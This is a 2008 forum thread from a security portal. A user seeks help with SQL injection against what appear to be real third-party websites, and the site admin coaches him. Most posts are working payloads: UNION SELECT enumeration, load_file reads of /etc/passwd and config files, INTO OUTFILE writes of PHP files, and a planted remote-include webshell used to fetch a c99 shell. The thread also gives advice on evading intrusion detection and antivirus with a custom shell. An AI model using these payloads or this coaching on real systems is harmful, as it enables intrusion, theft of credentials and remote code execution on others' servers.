Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: November 22, 2024 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 59 Members: 0 Total: 59 Full disclosure APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1 Local Privilege Escalations in needrestart APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2 APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1 APPLE-SA-11-19-2024-2 visionOS 2.1.1 APPLE-SA-11-19-2024-1 Safari 18.1.1 Reflected XSS - fronsetiav1.1 XXE OOB - fronsetiav1.1 St. Poelten UAS | Path Traversal in Korenix JetPort 5601 St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS) SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879) Security issue in the TX Text Control .NET Server for ASP.NET. SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater Unsafe eval() in TestRail CLI IT Security and Insecurity Portal www.waraxe.us Forum Index -> Sql injection -> SQL INJ HELP Goto page 1, 2Next View previous topic :: View next topic SQL INJ HELP Posted: Fri Feb 08, 2008 3:14 pm kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 hi waraxe , -1 : i'm not abel to show all tables : i put Code: -1+union+select+1,2,3,5,table_name,7,8+FROM+INFORMATION_SCHEMA.TABLES/* i find just one in lot ..site CHARACTER_SETS -2 : whene i put : Code: -1+union+select+1,2,3,5,load_file('/etc/passwd'),7,8+FROM+INFORMATION_SCHEMA.TABLES/* Error mysql and whene put : Code: -1+union+select+1,2,3,5,load_file(0x2F6574632F706173737764),7,8+FROM+INFORMATION_SCHEMA.TABLES/* it is work 100% , but how i can find the path of site exemple : /home/www/info/site.com/ thnkx Re: SQL INJ HELP Posted: Fri Feb 08, 2008 3:23 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu kr0k0 wrote: hi waraxe , -1 : i'm not abel to show all tables : i put Code: -1+union+select+1,2,3,5,table_name,7,8+FROM+INFORMATION_SCHEMA.TABLES/* i find just one in lot ..site CHARACTER_SETS -2 : whene i put : Code: -1+union+select+1,2,3,5,load_file('/etc/passwd'),7,8+FROM+INFORMATION_SCHEMA.TABLES/* Error mysql and whene put : Code: -1+union+select+1,2,3,5,load_file(0x2F6574632F706173737764),7,8+FROM+INFORMATION_SCHEMA.TABLES/* it is work 100% , but how i can find the path of site exemple : /home/www/info/site.com/ thnkx 1. If code fragment, which is affected by sql injection, is processing only single row, then in case of mysql you can use "LIMIT x,y". Example: Code: 1+union+select+1,2,3,5,table_name,7,8+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+3,1/* 2. This is the case, when full path disclosure comes handy ... You must find a way to make website produce error message, which will reveal full path to some components. Just try to manipulate various parameters in URI. And one more possibility - Google. Search for possible error messages within target domain. Posted: Fri Feb 08, 2008 8:29 pm kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 OK THankx waraxe , work , ___________________________________ 3 - whene i put : Code: -1+union+select+1,2,3,4,5,6,7+FROM+mysql.user/* i find : 4 7 whene i put : Code: -1+union+select+1,2,3,load_file('/'),5,6,7+FROM+mysql.user/* the page is Blank and whene i put Code: -1+union+select+1,2,3,load_file('/etc/passwd'),5,6,7+FROM+mysql.user/* Error Mysql I try with HEX, .... nothing Error Mysql ?????? Posted: Fri Feb 08, 2008 9:21 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu 1. you definitely try to use HEX encoding for filename, because magic_quotes will otherwise corrupt it and cause error messages. 2. You MUST have FILE privileges. 3. Try hex-encode retrieved data for evading possible collation problems 4. *BSD boxes have "/etc/master.passwd" In you current case - error message with etc/password and blank page with invalid filename ... this seems to be collation problem. So try HEX encoding. And if still there is error message, then post your example sql injection here and I will look at it ... And mysql errors - are they detailed error messages? Or just generic "Error ..." ? Posted: Sat Feb 09, 2008 6:18 am kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 -1 not work OS : Windows Server 2003 Web Server : Apache/2.0.55 Win32 PHP/5.0.5 Mysql ver : 5.x ?? _____________ 2- in auter site i can see /etc/passwd and all file but in hex Code: -1+union+select+1,2,3,load_file(0x2F6574632F706173737764),4,5,6 from information_schema.tables/* Code: -1+union+select+1,2,3,load_file('/home/www/web/site.com/config.php'),4,5,6 from information_schema.tables/* work , but whene i can see file , i can edit it ? Posted: Sat Feb 09, 2008 1:30 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu 1. Use UNHEX(HEX(......)) http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_unhex 2. You can't edit files in this way But you can try to use INTO OUTFILE for writing your own php files. If this will succeed, then you can have php code execution access to target system. http://www.owasp.org/index.php/Testing_for_MySQL http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ Posted: Sat Feb 09, 2008 4:27 pm kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 please waraxe, can u give me one Example for INTO OUTFILE , Example path is : /home/www/web/1/index.php thnkx for help Posted: Sat Feb 09, 2008 5:31 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu kr0k0 wrote: please waraxe, can u give me one Example for INTO OUTFILE , Example path is : /home/www/web/1/index.php thnkx for help Some useful exmples: http://www.webapptest.org/index.php?entry=entry070910-130659 Try this: Code: UNION+ALL+SELECT+'<?php+phpinfo();+?>',2,3,4+INTO+OUTFILE+'/home/www/web/1/test.php'/* And if needed, then injected php source code can be HEX-encoded!! Posted: Sun Feb 10, 2008 7:33 am kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 can u correct me this , but in HEX , please Code: /articles.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,'<?%20phpinfo();%20?>',24,25,26,27+from%20information_schema.tables%20INTO%20OUTFILE%20'/home/www/6bd585046bd6ac8f521ab32c1fcce8b0/web/file.php'%20/* You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'\',24,25,26,27 from information_schema.tables INTO OUTFILE \'/' at line 1 thankx Posted: Sun Feb 10, 2008 10:51 am waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu You have serious problem - "magic_quotes"! INTO OUTFILE method will work only if single quotes can be passed through. HEX encoding is not helping with INTO OUTFILE! Posted: Sun Feb 10, 2008 2:37 pm kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 hey, look in this Code: article2.php?id=-5+UNION%20SELECT%201,'<?include($_GET["cmd"]);?>',3,4+from%20information_schema.tables%20INTO%20OUTFILE%20'/home/www/b76e6d18e284b62821382d5fdbbd/web/forum/1.php'%20/* whene i go to : http://www.site.com/forum/1.php Code: 1 Warning: main() [function.include]: Failed opening '' for inclusion (include_path='.:/opt/php/lib/php') in /home/www/b76e6d18e284b62821382d5fdbbd/web/forum/1.php on line 1 3 4 i put : http://www.site.com/forum/1.php?cmd=http://c99-shellz.txt? i find : HTTP 403 ( Refused ) Posted: Sun Feb 10, 2008 8:55 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Try http://www.site.com/forum/1.php?cmd=http://www.yahoo.com/ Still HTTP 403? By the way - c99 and other widely known php shells are triggering every IPS/IDS (Snort, etc) and every antivirus, mod_security, etc ... My suggestion is to use custom written shell. Posted: Sun Feb 10, 2008 10:49 pm kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 1- Yahoo it work 100% , but how i ca, inject a php code shell in this case , i need a methode please Last edited by kr0k0 on Mon Feb 11, 2008 8:42 am; edited 1 time in total Posted: Mon Feb 11, 2008 8:41 am kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 2- look in this Code: /modules.php?name=Search&type=comments&query=not123exists&instory=/**/UNION/**/SELECT/**/1,2,3,4,5/**/FROM/**/nuke_authors/* 4 3 Whene i put : Code: /modules.php?name=Search&type=comments&query=not123exists&instory=/**/UNION/**/SELECT/**/1,2,3,load_file('/'),5/**/FROM/**/nuke_authors/* or Code: /modules.php?name=Search&type=comments&query=not123exists&instory=/**/UNION/**/SELECT/**/1,2,3,load_file(0x2F6574632F706173737764),5/**/FROM/**/nuke_authors/* The html tags you attempted to use are not allowed [ Go Back ] ????????? Posted: Mon Feb 11, 2008 10:32 am waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Use POST method. SQL INJ HELP www.waraxe.us Forum Index -> Sql injection You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 2 Goto page 1, 2Next All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.052 Seconds